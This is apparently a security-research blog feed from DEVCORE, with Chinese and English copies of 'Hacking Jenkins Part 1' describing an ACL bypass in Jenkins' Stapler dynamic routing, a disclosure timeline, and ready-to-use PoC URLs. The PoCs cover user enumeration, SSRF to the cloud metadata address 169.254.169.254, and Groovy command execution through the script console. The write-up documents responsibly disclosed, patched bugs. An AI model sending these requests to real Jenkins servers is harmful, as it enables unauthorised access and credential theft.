https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE-en/ https://devco.re/blog/2019/02/19/hacking-Jenkins-part2-abusing-meta-programming-for-unauthenticated-RCE-en Tue, 19 Feb 2019 00:00:00 +0800 Hacking Jenkins Part 1 - Play with Dynamic Routing <p><a href="/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing-en/">English Version</a> <a href="/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/">中文版本</a></p> <p>在軟體工程中, <a href="https://en.wikipedia.org/wiki/Continuous_integration">Continuous Integration</a> 及 <a href="https://en.wikipedia.org/wiki/Continuous_delivery">Continuous Delivery</a> 一直都被譽為是軟體開發上的必備流程, 有多少優點就不多談, 光是幫助開發者減少許多雜事就是很大的優勢了! 而在 CI/CD 的領域中, Jenkins 是最為老牌且廣為人知的一套工具, 由於它的易用性, 強大的 Pipeline 系統以及對於容器完美的整合使得 Jenkins 也成為目前最多人使用的 CI/CD 應用, 根據 Snyk 在 2018 年所做出的 <a href="https://snyk.io/blog/jvm-ecosystem-report-2018-tools">JVM 生態報告</a> 中, Jenkins 在 CI/CD 應用中約佔六成的市佔率!</p> <p>對於 <a href="https://devco.re/services/red-team">紅隊演練(Red Team)</a> 來說, Jenkins 更是兵家必爭之地, 只要能掌握企業暴露在外的 Jenkins 即可掌握大量的原始碼, 登入憑證甚至控制大量的 Jenkins 節點! 在過去 DEVCORE 所經手過的滲透案子中也出現過數次由 Jenkins 當成進入點, 一步一步從一個小裂縫將目標撕開到完整滲透整間公司的經典案例!</p> <p>這篇文章主要是分享去年中針對 Jenkins 所做的一次簡單 Security Review, 過程中共發現了五個 CVE:</p> <ul> <li><a href="https://jenkins.io/security/advisory/2018-07-18/#SECURITY-914">CVE-2018-1999002 - Arbitrary file read vulnerability</a></li> <li><a href="https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915">CVE-2018-1000600 - CSRF and missing permission checks in GitHub Plugin</a></li> <li><a href="https://jenkins.io/security/advisory/2018-08-15/#SECURITY-1071">CVE-2018-1999046 - Unauthorized users could access agent logs</a></li> <li><a href="https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595">CVE-2018-1000861 - Code execution through crafted URLs</a></li> <li><a href="https://jenkins.io/security/advisory/2019-01-08/#jenkins-security-advisory-2019-01-08">CVE-2019-1003000 - Sandbox Bypass in Script Security and Pipeline Plugins</a></li> <li><a href="https://jenkins.io/security/advisory/2019-01-08/#jenkins-security-advisory-2019-01-08">CVE-2019-1003001 - Sandbox Bypass in Script Security and Pipeline Plugins</a></li> <li><a href="https://jenkins.io/security/advisory/2019-01-08/#jenkins-security-advisory-2019-01-08">CVE-2019-1003002 - Sandbox Bypass in Script Security and Pipeline Plugins</a></li> </ul> <p>其中比較被大家所討論的應該是 CVE-2018-1999002, 這是一個在 Windows 下的任意檔案讀取, 由於攻擊方式稍微有趣所以討論聲量較高一點, 這個弱點在外邊也有人做了詳細的分析, 詳情可以參考由騰訊雲鼎實驗室所做的分析(<a href="https://cloud.tencent.com/developer/article/1165414">Jenkins 任意文件读取漏洞分析</a>), 他們也成功的展示從 <a href="https://www.shodan.io/search?query=jenkins">Shodan</a> 找到一台未修補的 Jenkins 實現任意讀檔到遠端代碼執行取得權限的過程!</p> <p>但這篇文章要提的並不是這個, 而是當時為了嘗試繞過 CVE-2018-1999002 所需的最小權限 Overall/Read 時跟進 Jenkins 所使用的核心框架 Stapler 挖掘所發現的另外一個問題 - CVE-2018-1000861! 如果光從官方的漏洞敘述應該會覺得很神奇, 真的可以光從隨便一個網址去達成代碼執行嗎?</p> <p>針對這個漏洞, 我的觀點是它就是一個存取控制清單(ACL)上的繞過, 但由於這是 Jenkins 架構上的問題並不是單一的程式編寫失誤, 進而導致了這個漏洞利用上的多樣性! 而為了這個技術債, Jenkins 官方也花費了一番心力(<a href="https://github.com/jenkinsci/jenkins/commit/47f38d714c99e1841fb737ad1005618eb26ed852">Jenkins Patch</a> 及 <a href="https://github.com/stapler/stapler/commit/28e8eba822a0df9dcd64d20eb63d8ab5f6ee2980">Stapler Patch</a>)去修復這個漏洞, 不但在原有的架構上介紹了新的路由黑名單及白名單, 也擴展了原有架構的 <a href="https://wiki.jenkins.io/display/JENKINS/Plugins+affected+by+the+SECURITY-595+fix">Service Provider Interface (SPI)</a> 去保護 Jenkins 路由, 下面就來解釋為何 Jenkins 要花了那麼多心力去修復這個漏洞!</p> <p><br /></p> <h2 id="代碼審查範圍">代碼審查範圍</h2> <hr /> <p>首先要聲明的是, 這並不是一次完整的代碼審查(畢竟要做一次太花時間了…), 因此只針對高風險漏洞進行挖掘, 著眼的範圍包括:</p> <ul> <li>Jenkins 核心</li> <li>Stapler 網頁框架</li> <li>建議安裝插件</li> </ul> <p>Jenkins 在安裝過程中會詢問是否安裝建議的套件(像是 Git, GitHub, SVN 與 Pipeline… 等等), 基本上大多數人都會同意不然就只會得到一個半殘的 Jenkins 很不方便XD</p> <p><img src="/assets/img/blog/20190116/1.png" alt="" /></p> <p><img src="/assets/img/blog/20190116/2.png" alt="" /></p> <p><br /></p> <h2 id="jenkins-中的權限機制">Jenkins 中的權限機制</h2> <hr /> <p>因為這是一個基於 ACL 上的繞過, 所以在解釋漏洞之前, 先來介紹一下 Jenkins 中的權限機制! 在 Jenkins 中有數種不同的角色權限, 甚至有專門的 <a href="https://plugins.jenkins.io/matrix-auth">Matrix Authorization Strategy Plugin</a> (同為建議安裝套件)可針對各專案進行細部的權限設定, 從攻擊者的角度我們粗略分成三種:</p> <h3 id="1-full-access">1. Full Access</h3> <p>對於 Jenkins 有完整的控制權, 可對 Jenkins 做任何事! 基本上有這個權限即可透過 <a href="http://jenkins.local/script">Script Console</a> 介面使用 Groovy 執行任意代碼!</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">print</span> <span class="s2">"uname -a"</span><span class="o">.</span><span class="na">execute</span><span class="o">().</span><span class="na">text</span> </code></pre></div></div> <p>這個權限對於駭客來說也是最渴望得到的權限, 但基本上由於安全意識的提升及網路上各種殭屍網路對全網進行掃描, 這種配置已經很少見(或只見於內網)</p> <h3 id="2-read-only-mode">2. Read-only Mode</h3> <p>可從 <a href="http://jenkins.local/configureSecurity">Configure Global Security</a> 介面中勾選下面選項來開啟這個模式</p> <blockquote> <p>Allow anonymous read access</p> </blockquote> <p>在這個模式下, 所有的內容皆是可讀的, 例如可看到工作日誌或是一些 job/node 等敏感資訊, 對於攻擊者來說在這個模式下最大的好處就是可以獲得大量的原始碼! 但與 Full Access 模式最大的差異則是無法進行更進一步的操作或是執行 Groovy 代碼以取得控制權!</p> <p>雖然這不是 Jenkins 的預設設定, 但對於一些習慣自動化的 DevOps 來說還是有可能開啟這個選項, 根據實際在 <a href="https://www.shodan.io/search?query=jenkins">Shodan</a> 上的調查約 12% 的機器還是開啟這個選項! 以下使用 <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=True</code> 來代稱這個模式</p> <h3 id="3-authenticated-mode">3. Authenticated Mode</h3> <p>這是 Jenkins 預設安裝好的設定, 在沒有一組有效的帳號密碼狀況下無法看到任何資訊及進行任何操作! 以下使用 <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=False</code> 來代稱此模式</p> <p><br /></p> <h2 id="漏洞分析">漏洞分析</h2> <hr /> <p>整個漏洞要從 Jenkins 的 <a href="https://jenkins.io/doc/developer/handling-requests/routing/">動態路由</a> 講起, 為了給開發者更大的彈性, Jenkins(嚴格來講是 Stapler)使用了一套 Naming Convention 去匹配路由及動態的執行! 首先 Jenkins 以 <code class="language-plaintext highlighter-rouge">/</code> 為分隔將 URL 符號化, 接著由 <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/jenkins/model/Jenkins.java">jenkins.model.Jenkins</a> 為入口點開始往下搜尋, 如果符號符合 (1) Public 屬性的成員或是 (2) Public 屬性的方法符合下列命名規則, 則調用並繼續往下呼叫:</p> <blockquote> <ol> <li>get&lt;token&gt;()</li> <li>get&lt;token&gt;(String)</li> <li>get&lt;token&gt;(Int)</li> <li>get&lt;token&gt;(Long)</li> <li>get&lt;token&gt;(StaplerRequest)</li> <li>getDynamic(String, …)</li> <li>doDynamic(…)</li> <li>do&lt;token&gt;(…)</li> <li>js&lt;token&gt;(…)</li> <li>Class method with @WebMethod annotation</li> <li>Class method with @JavaScriptMethod annotation</li> </ol> </blockquote> <p>看起來 Jenkins 給予開發者很大程度的自由去訪問各個物件, 但過於自由總是不好的,根據這種調用方式這裡就出現了兩個問題!</p> <h3 id="1-萬物皆繼承-javalangobject">1. 萬物皆繼承 java.lang.Object</h3> <p>在 Java 中, 所有的物件皆繼承 <a href="https://docs.oracle.com/javase/7/docs/api/java/lang/Object.html">java.lang.Object</a> 這個類別, 因此所有在 Java 中的物件皆存在著 <code class="language-plaintext highlighter-rouge">getClass()</code> 這個方法! 而恰巧這個方法又符合命名規則 <code class="language-plaintext highlighter-rouge">#1</code>, 因此 <code class="language-plaintext highlighter-rouge">getClass()</code> 可在 Jenkins 調用鏈中被動態呼叫!</p> <h3 id="2-跨物件操作導致白名單繞過">2. 跨物件操作導致白名單繞過</h3> <p>前面所提到的 <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ</code>, 其中 <code class="language-plaintext highlighter-rouge">True</code> 與 <code class="language-plaintext highlighter-rouge">False</code> 間最大的不同在於當在禁止的狀況下, 最初的入口點會透過 <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/jenkins/model/Jenkins.java#L4682">jenkins.model.Jenkins#getTarget()</a> 多做一個基於白名單的 URL 前綴檢查, 這個白名單如下:</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">ImmutableSet</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="no">ALWAYS_READABLE_PATHS</span> <span class="o">=</span> <span class="nc">ImmutableSet</span><span class="o">.</span><span class="na">of</span><span class="o">(</span> <span class="s">"/login"</span><span class="o">,</span> <span class="s">"/logout"</span><span class="o">,</span> <span class="s">"/accessDenied"</span><span class="o">,</span> <span class="s">"/adjuncts/"</span><span class="o">,</span> <span class="s">"/error"</span><span class="o">,</span> <span class="s">"/oops"</span><span class="o">,</span> <span class="s">"/signup"</span><span class="o">,</span> <span class="s">"/tcpSlaveAgentListener"</span><span class="o">,</span> <span class="s">"/federatedLoginService/"</span><span class="o">,</span> <span class="s">"/securityRealm"</span><span class="o">,</span> <span class="s">"/instance-identity"</span> <span class="o">);</span> </code></pre></div></div> <p>這也代表著一開始可選的入口限制更嚴格選擇更少, 但如果能在一個白名單上的入口找到其他物件參考, 跳到非白名單上的成員豈不可以繞過前述的 URL 前綴限制? 可能有點難理解, 這裡先來一個簡單的範例來解釋 Jenkins 的動態路由機制:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content </code></pre></div></div> <p>以上網址會依序執行下列方法</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">jenkins</span><span class="o">.</span><span class="na">model</span><span class="o">.</span><span class="na">Jenkins</span><span class="o">.</span><span class="na">getAdjuncts</span><span class="o">(</span><span class="s">"whatever"</span><span class="o">)</span> <span class="o">.</span><span class="na">getClass</span><span class="o">()</span> <span class="o">.</span><span class="na">getClassLoader</span><span class="o">()</span> <span class="o">.</span><span class="na">getResource</span><span class="o">(</span><span class="s">"index.jsp"</span><span class="o">)</span> <span class="o">.</span><span class="na">getContent</span><span class="o">()</span> </code></pre></div></div> <p>上面的執行鏈一個串一個雖然看起來很流暢, 但難過的是無法取得回傳內容, 因此嚴格來說不能算是一個風險, 但這個例子對於理解整個漏洞核心卻有很大的幫助!</p> <p>在了解原理後, 剩下的事就像是在解一個迷宮, 從 <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/jenkins/model/Jenkins.java">jenkins.model.Jenkins</a> 這個入口點開始, 物件中的每個成員又可以參考到一個新的物件, 接著要做的就是想辦法把中間錯綜複雜各種物件與物件間的關聯找出來, 一層一層的串下去直到迷宮出口 - 也就是危險的函數呼叫!</p> <p>值得一提的是, 這個漏洞最可惜的地方應該是無法針對 SETTER 進行操作, 不然的話應該就又是另外一個有趣的 <a href="https://cwiki.apache.org/confluence/display/WW/S2-020">Struts2 RCE</a> 或是 <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1622">Spring Framework RCE</a> 了!</p> <p><br /></p> <h2 id="如何利用">如何利用</h2> <hr /> <p>所以該如何利用這個漏洞呢? 簡單說, 這個漏洞所能做到的事情就只是透過物件間的參考去繞過 ACL 政策, 但在此之前我們必須先找到一個好的跳板好讓我們可以更方便的在物件中跳來跳去, 這裡我們選用了下面這個跳板:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/securityRealm/user/[username]/descriptorByName/[descriptor_name]/ </code></pre></div></div> <p>這個跳板會依序執行下面方法</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">jenkins</span><span class="o">.</span><span class="na">model</span><span class="o">.</span><span class="na">Jenkins</span><span class="o">.</span><span class="na">getSecurityRealm</span><span class="o">()</span> <span class="o">.</span><span class="na">getUser</span><span class="o">([</span><span class="n">username</span><span class="o">])</span> <span class="o">.</span><span class="na">getDescriptorByName</span><span class="o">([</span><span class="n">descriptor_name</span><span class="o">])</span> </code></pre></div></div> <p>在 Jenkins 中可以被操作的物件都會繼承一個 <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/Descriptor.java">hudson.model.Descriptor</a> 類別, 而繼承這個類別的物件都可以透過 <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/DescriptorByNameOwner.java#L51">hudson.model.DescriptorByNameOwner#getDescriptorByName(String)</a> 去存取, 所以總體來說, 可透過這個跳板取得在 Jenkins 中約 500 個 Despicable 的物件類別!</p> <p>不過雖是如此, 由於 Jenkins 的設計模式, 大部分開發者在危險動作之前都會再做一次權限檢查, 所以即使可呼叫到 <a href="http://jenkins.local/script">Script Console</a> 但在沒有 <code class="language-plaintext highlighter-rouge">Jenkins.RUN_SCRIPTS</code> 權限的情況下也無法做任何事 :(</p> <p>但這個漏洞依然不失成為一個很好的膠水去繞過第一層的 ACL 限制串起其他的漏洞, 為後續的利用開啟了一道窗! 以下我們給出三個串出漏洞鏈的例子! (雖然只介紹三種, 但由於這個漏洞玩法非常自由可串的絕不只如此, 推薦有興趣的同學可在尋找更多的漏洞鏈!)</p> <p>P.S. 值得注意的一點是, 在 <code class="language-plaintext highlighter-rouge">getUser([username])</code> 的實現中會呼叫到 <code class="language-plaintext highlighter-rouge">getOrCreateById(...)</code> 並且傳入 <code class="language-plaintext highlighter-rouge">create=True</code> 導致在記憶體中創造出一個暫存使用者(會出現在使用者列表但無法進行登入操作), 雖然無用不過也被當成一個漏洞記錄在 <a href="https://jenkins.io/security/advisory/2018-10-10/">SECURITY-1128</a></p> <p><br /></p> <h3 id="1-免登入的使用者資訊洩漏">1. 免登入的使用者資訊洩漏</h3> <p>在測試 Jenkins 時, 最怕的就是要進行字典檔攻擊時卻不知道該攻擊哪個帳號, 畢竟帳號永遠比密碼難猜! 這時這個漏洞就很好用了XD</p> <p>由於 Jenkins 對搜尋的功能並沒有加上適當的權限檢查, 因此在 <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=False</code> 的狀況下可以透過修改 <code class="language-plaintext highlighter-rouge">keyword</code> 參數從 a 到 z 去列舉出所有使用者!</p> <h4 id="poc">PoC:</h4> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword] </code></pre></div></div> <p><img src="/assets/img/blog/20190116/3.png" alt="" /></p> <p>除此之外也可搭配由 <code class="language-plaintext highlighter-rouge">Ananthapadmanabhan S R</code> 所回報的 <a href="https://jenkins.io/security/advisory/2017-10-11/#user-remote-api-disclosed-users-email-addresses">SECURITY-514</a> 進一步取得使用者信箱, 如:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://jenkins.local/securityRealm/user/admin/api/xml </code></pre></div></div> <p><br /></p> <h3 id="2-與-cve-2018-1000600-搭配成免登入且有完整回顯的-ssrf">2. 與 CVE-2018-1000600 搭配成免登入且有完整回顯的 SSRF</h3> <p>下一個要串的漏洞則是 <a href="https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915">CVE-2018-1000600</a>, 這是一個由 <a href="https://twitter.com/orange_8361">Orange Tsai</a>(對就是我XD) 所回報的漏洞, 關於這個漏洞官方的描述是:</p> <blockquote> <p>CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials</p> </blockquote> <p>在已知 Credentials ID 的情形下可以洩漏任意 Jenkins 儲存的帳密, 但 Credentials ID 在沒指定的情況下會是一組隨機的 UUID 所以造成要利用這個漏洞似乎變得不太可能 (如果有人知道怎麼取得 Credentials ID 請告訴我!)</p> <p>雖然在不知道 Credentials ID 的情況下無法洩漏任何帳密, 但這個漏洞其實不只這樣, 還有另一個玩法! 關於這個漏洞最大的危害其實不是 CSRF, 而是 SSRF!</p> <p>不僅如此, 這個 SSRF 還是一個有回顯的 SSRF! 沒有回顯的 SSRF 要利用起來有多困難我想大家都知道 :P 因此一個有回顯的 SSRF 也就顯得何其珍貴!</p> <h4 id="poc-1">PoC:</h4> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword ?apiUrl=http://169.254.169.254/%23 &amp;login=orange &amp;password=tsai </code></pre></div></div> <p><img src="/assets/img/blog/20190116/4.png" alt="" /></p> <p><br /></p> <h3 id="3-未認證的遠端代碼執行">3. 未認證的遠端代碼執行</h3> <blockquote> <p>所以廢話少說, RCE 在哪?</p> </blockquote> <p>為了最大程度的去利用這個漏洞, 我也挖了一個<strong>非常有趣</strong>的 RCE 可以與這個漏洞搭配使用成為一個真正意義上不用認證的 RCE! 但由於這個漏洞目前還在 Responsible Disclosure 的時程內, 就請先期待 Hacking Jenkins Part 2 囉! (預計二月中釋出!)</p> <p><br /></p> <h2 id="todo">TODO</h2> <hr /> <p>這裡是一些我想繼續研究的方向, 可以讓這個漏洞變得更完美! 如果你發現了下面任何一個的解法請務必告訴我, 我會很感激的XD</p> <ul> <li>在 <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=False</code> 的權限下拿到 <code class="language-plaintext highlighter-rouge">Plugin</code> 的物件參考, 如果拿到的可以繞過 <a href="https://jenkins.io/security/advisory/2018-07-18/#SECURITY-914">CVE-2018-1999002</a> 與 <a href="https://jenkins.io/security/advisory/2018-02-14/#SECURITY-705">CVE-2018-6356</a> 所需的最小權限限制, 成為一個真正意義上的免登入任意讀檔!</li> <li>在 <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=False</code> 的權限下找出另一組跳板去呼叫 <code class="language-plaintext highlighter-rouge">getDescriptorByName(String)</code>. 為了修復 <a href="https://jenkins.io/security/advisory/2018-08-15/#SECURITY-672">SECURITY-672</a>, Jenkins 從 2.138 開始對 <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/User.java">hudson.model.User</a> 增加判斷 <code class="language-plaintext highlighter-rouge">Jenkins.READ</code> 的<a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/User.java#L1026">檢查</a>, 導致原有的跳板失效!</li> </ul> <p><br /></p> <h2 id="致謝">致謝</h2> <hr /> <p>最後, 感謝 Jenkins Security 團隊尤其是 Daniel Beck 的溝通協調與漏洞修復! 這裡是一個簡單的回報時間軸:</p> <ul> <li>May 30, 2018 - 回報漏洞給 Jenkins</li> <li>Jun 15, 2018 - Jenkins 修補並分配 CVE-2018-1000600</li> <li>Jul 18, 2018 - Jenkins 修補並分配 CVE-2018-1999002</li> <li>Aug 15, 2018 - Jenkins 修復並分配 CVE-2018-1999046</li> <li>Dec 05, 2018 - Jenkins 修補並分配 CVE-2018-1000861</li> <li>Dec 20, 2018 - 回報 Groovy 漏洞給 Jenkins</li> <li>Jan 08, 2019 - Jenkins 修復 Groovy 漏洞並分配 CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002</li> </ul> https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/ https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing Wed, 16 Jan 2019 00:00:00 +0800 Hacking Jenkins Part 1 - Play with Dynamic Routing (EN) <p><a href="/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing-en/">English Version</a> <a href="/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/">中文版本</a></p> <p>In software engineering, the <a href="https://en.wikipedia.org/wiki/Continuous_integration">Continuous Integration</a> and <a href="https://en.wikipedia.org/wiki/Continuous_delivery">Continuous Delivery</a> is a best practice for developers to reduce routine works. In the CI/CD, the most well-known tool is Jenkins. Due to its ease of use, awesome Pipeline system and integration of Container, Jenkins is also the most widely used CI/CD application in the world. According to the <a href="https://snyk.io/blog/jvm-ecosystem-report-2018-tools">JVM Ecosystem Report</a> by Snyk in 2018, Jenkins held about 60% market share on the survey of CI/CD server.</p> <p>For Red Teamers, Jenkins is also the battlefield that every hacker would like to control. If someone takes control of the Jenkins server, he can gain amounts of source code and credential, or even control the Jenkins node! In our DEVCORE Red Team cases, there are also several cases that the whole corporation is compromised from simply a Jenkins server as our entry point!</p> <p>This article is mainly about a brief security review on Jenkins in the last year. During this review, we found 5 vulnerabilities including:</p> <ul> <li><a href="https://jenkins.io/security/advisory/2018-07-18/#SECURITY-914">CVE-2018-1999002 - Arbitrary file read vulnerability</a></li> <li><a href="https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915">CVE-2018-1000600 - CSRF and missing permission checks in GitHub Plugin</a></li> <li><a href="https://jenkins.io/security/advisory/2018-08-15/#SECURITY-1071">CVE-2018-1999046 - Unauthorized users could access agent logs</a></li> <li><a href="https://jenkins.io/security/advisory/2018-12-05/#SECURITY-595">CVE-2018-1000861 - Code execution through crafted URLs</a></li> <li><a href="https://jenkins.io/security/advisory/2019-01-08/#jenkins-security-advisory-2019-01-08">CVE-2019-1003000 - Sandbox Bypass in Script Security and Pipeline Plugins</a></li> <li><a href="https://jenkins.io/security/advisory/2019-01-08/#jenkins-security-advisory-2019-01-08">CVE-2019-1003001 - Sandbox Bypass in Script Security and Pipeline Plugins</a></li> <li><a href="https://jenkins.io/security/advisory/2019-01-08/#jenkins-security-advisory-2019-01-08">CVE-2019-1003002 - Sandbox Bypass in Script Security and Pipeline Plugins</a></li> </ul> <p>Among them, the more discussed one is the vulnerability CVE-2018-1999002. This is an arbitrary file read vulnerability through an unusual attack vector! Tencent YunDing security lab has written a <a href="https://cloud.tencent.com/developer/article/1165414">detailed advisory</a> about that, and also demonstrated how to exploit this vulnerability from arbitrary file reading to RCE on a real Jenkins site which found from <a href="https://www.shodan.io/search?query=jenkins">Shodan</a>!</p> <p>However, we are not going to discuss that in this article. Instead, this post is about another vulnerability found while digging into Stapler framework in order to find a way to bypass the least privilege requirement <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=True</code> of CVE-2018-1999002! If you merely take a look at the advisory description, you may be curious – Is it reality to gain code execution with just a crafted URL?</p> <p>From my own perspective, this vulnerability is just an Access Control List(ACL) bypass, but because this is a problem of the architecture rather than a single program, there are various ways to exploit this bug! In order to pay off the design debt, Jenkins team also takes lots of efforts (patches in <a href="https://github.com/jenkinsci/jenkins/commit/47f38d714c99e1841fb737ad1005618eb26ed852">Jenkins side</a> and <a href="https://github.com/stapler/stapler/commit/28e8eba822a0df9dcd64d20eb63d8ab5f6ee2980">Stapler side</a>) to fix that. The patch not only introduces a new routing blacklist and whitelist but also extends the original <a href="https://wiki.jenkins.io/display/JENKINS/Plugins+affected+by+the+SECURITY-595+fix">Service Provider Interface (SPI)</a> to protect Jenkins’ routing. Now let’s figure out why Jenkins need to make such a huge code modification!</p> <p><br /></p> <h2 id="review-scope">Review Scope</h2> <hr /> <p>This is not a complete code review (An overall security review takes lots of time…), so this review just aims at high impact bugs. The review scope includes:</p> <ul> <li>Jenkins Core</li> <li>Stapler Web Framework</li> <li>Suggested Plugins</li> </ul> <p>During the installation, Jenkins asks whether you want to install suggested plugins such as Git, GitHub, SVN and Pipeline. Basically, most people choose yes, or they will get an inconvenient and hard-to-use Jenkins.</p> <p><img src="/assets/img/blog/20190116/1.png" alt="" /></p> <p><img src="/assets/img/blog/20190116/2.png" alt="" /></p> <p><br /></p> <h2 id="privilege-levels">Privilege Levels</h2> <hr /> <p>Because the vulnerability is an ACL bypass, we need to introduce the privilege level in Jenkins first! In Jenkins, there are different kinds of ACL roles, Jenkins even has a specialized plugin <a href="https://plugins.jenkins.io/matrix-auth">Matrix Authorization Strategy Plugin</a>(also in the suggested plugin list) to configure the detailed permission per project. From an attacker’s view, we roughly classify the ACL into 3 types:</p> <h3 id="1-full-access">1. Full Access</h3> <p>You can fully control Jenkins. Once the attacker gets this permission, he can execute arbitrary Groovy code via <a href="http://jenkins.local/script">Script Console</a>!</p> <div class="language-groovy highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">print</span> <span class="s2">"uname -a"</span><span class="o">.</span><span class="na">execute</span><span class="o">().</span><span class="na">text</span> </code></pre></div></div> <p>This is the most hacker-friendly scenario, but it’s hard to see this configuration publicly now due to the increase of security awareness and lots of bots scanning all the IPv4.</p> <h3 id="2-read-only-mode">2. Read-only Mode</h3> <p>This can be enabled from the <a href="http://jenkins.local/configureSecurity">Configure Global Security</a> and check the radio box:</p> <blockquote> <p>Allow anonymous read access</p> </blockquote> <p>Under this mode, all contents are visible and readable. Such as agent logs and job/node information. For attackers, the best benefit of this mode is the accessibility of a bunch of private source codes! However, the attacker cannot do anything further or execute Groovy scripts!</p> <p>Although this is not the default setting, for DevOps, they may still open this option for automations. According to a little survey on <a href="https://www.shodan.io/search?query=jenkins">Shodan</a>, there are about 12% servers enabled this mode! We will call this mode <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=True</code> in the following sections.</p> <h3 id="3-authenticated-mode">3. Authenticated Mode</h3> <p>This is the default mode. Without a valid credential, you can’t see any information! We will use <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=False</code> to call this mode in following sections.</p> <p><br /></p> <h2 id="vulnerability-analysis">Vulnerability Analysis</h2> <p>To explain this vulnerability, we will start with Jenkins’ <a href="https://jenkins.io/doc/developer/handling-requests/routing/">Dynamic Routing</a>. In order to provide developers more flexibilities, Jenkins uses a naming convention to resolve the URL and invoke the method dynamically. Jenkins first tokenizes all the URL by <code class="language-plaintext highlighter-rouge">/</code>, and begins from <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/jenkins/model/Jenkins.java">jenkins.model.Jenkins</a> as the entry point to match the token one by one. If the token matches (1)public class member or (2)public class method correspond to following naming conventions, Jenkins invokes recursively!</p> <blockquote> <ol> <li>get&lt;token&gt;()</li> <li>get&lt;token&gt;(String)</li> <li>get&lt;token&gt;(Int)</li> <li>get&lt;token&gt;(Long)</li> <li>get&lt;token&gt;(StaplerRequest)</li> <li>getDynamic(String, …)</li> <li>doDynamic(…)</li> <li>do&lt;token&gt;(…)</li> <li>js&lt;token&gt;(…)</li> <li>Class method with @WebMethod annotation</li> <li>Class method with @JavaScriptMethod annotation</li> </ol> </blockquote> <p>It looks like Jenkins provides developers a lot of flexibility. However, too much freedom is not always a good thing. There are two problems based on this naming convention!</p> <h3 id="1-everything-is-the-subclass-of-javalangobject">1. Everything is the Subclass of <code class="language-plaintext highlighter-rouge">java.lang.Object</code></h3> <p>In Java, everything is a subclass of <a href="https://docs.oracle.com/javase/7/docs/api/java/lang/Object.html">java.lang.Object</a>. Therefore, all objects must exist the method - <code class="language-plaintext highlighter-rouge">getClass()</code>, and the name of <code class="language-plaintext highlighter-rouge">getClass()</code> just matches the naming convention rule <code class="language-plaintext highlighter-rouge">#1</code>! So the method <code class="language-plaintext highlighter-rouge">getClass()</code> can be also invoked during Jenkins dynamic routing!</p> <h3 id="2-whitelist-bypass">2. Whitelist Bypass</h3> <p>As mentioned before, the biggest difference between <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=True</code> and <code class="language-plaintext highlighter-rouge">ANONYMOUS_READ=False</code> is, if the flag set to <code class="language-plaintext highlighter-rouge">False</code>, the entry point will do one more check in <a href="https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/jenkins/model/Jenkins.java#L4682">jenkins.model.Jenkins#getTarget()</a>. The check is a white-list based URL prefix check and here is the list:</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">ImmutableSet</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="no">ALWAYS_READABLE_PATHS</span> <span class="o">=</span> <span class="nc">ImmutableSet</span><span class="o">.</span><span class="na">of</span><span class="o">(</span> <span class="s">"/login"</span><span class="o">,</span> <span class="s">"/logout"</span><span class="o">,</span> <span class="s">"/accessDenied"</span><span class="o">,</span> <span class="s">"/adjuncts/"</span><span class="o">,</span> <span class="s">"/error"</span><span class="o">,</span> <span class="s">"/oops"</span><span class="o">,</span> <span class="s">"/signup"</span><span class="o">,</span> <span class="s">"/tcpSlaveAgentListener"</span><span class="o">,</span> <span 